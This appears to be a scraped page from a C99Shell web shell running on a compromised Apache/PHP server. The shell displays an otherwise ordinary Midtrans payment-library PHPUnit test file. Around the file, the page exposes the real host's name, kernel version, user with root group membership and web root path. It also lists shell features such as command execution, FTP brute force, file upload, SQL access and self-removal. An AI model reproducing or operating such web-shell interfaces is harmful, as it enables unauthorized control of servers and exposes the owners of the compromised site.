!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/midtrans/midtrans-php/tests/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MidtransNotificationTest.php (1.31 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Midtrans;

require_once 
dirname(__FILE__) . '/../Midtrans.php';

define(
    
'TEST_CAPTURE_JSON''{
        "status_code" : "200",
        "status_message" : "Midtrans payment notification",
        "transaction_id" : "826acc53-14e0-4ae7-95e2-845bf0311579",
        "order_id" : "2014040745",
        "payment_type" : "credit_card",
        "transaction_time" : "2014-04-07 16:22:36",
        "transaction_status" : "capture",
        "fraud_status" : "accept",
        "masked_card" : "411111-1111",
        "gross_amount" : "2700"
    }'
);

class 
MidtransNotificationTest extends \PHPUnit_Framework_TestCase
{

    public function 
testCanWorkWithJSON()
    {
        
$tmpfname tempnam(sys_get_temp_dir(), "midtrans_test");
        
file_put_contents($tmpfnameTEST_CAPTURE_JSON);

        
MT_Tests::$stubHttp true;
        
MT_Tests::$stubHttpResponse TEST_CAPTURE_JSON;

        
Config::$serverKey 'dummy';
        
$notif = new Notification($tmpfname);

        
$this->assertEquals("capture"$notif->transaction_status);
        
$this->assertEquals("credit_card"$notif->payment_type);
        
$this->assertEquals("2014040745"$notif->order_id);
        
$this->assertEquals("2700"$notif->gross_amount);

        
unlink($tmpfname);
    }

    public function 
tearDown()
    {
        
MT_Tests::reset();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--